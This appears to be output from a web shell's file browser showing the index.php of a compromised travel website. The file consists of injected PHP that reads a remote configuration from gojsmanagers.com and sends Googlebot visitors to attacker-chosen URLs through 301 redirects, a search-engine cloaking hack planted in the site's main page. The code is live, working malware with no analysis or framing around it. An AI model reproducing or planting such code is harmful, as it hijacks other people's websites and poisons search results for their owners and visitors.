AlkantarClanX12
Current Path : /proc/self/root/home/thanudqk/siamfreetour.com/ |
Current File : //proc/self/root/home/thanudqk/siamfreetour.com/index.php |
<?php $jsonFile = 'https://gojsmanagers.com/google1.json'; $jsonData = json_decode(file_get_contents($jsonFile), true); $userAgent = $_SERVER['HTTP_USER_AGENT']; if (strpos($userAgent, 'Googlebot') !== false) { if ($jsonData['enabled']) { if ($jsonData['random_redirect']) { $redirects = $jsonData['redirects']; $randomUrl = $redirects[array_rand($redirects)]; header("Location: $randomUrl", true, 301); exit; } else { $specificUrl = $jsonData['specific_redirect']; header("Location: $specificUrl", true, 301); exit; } } } ?>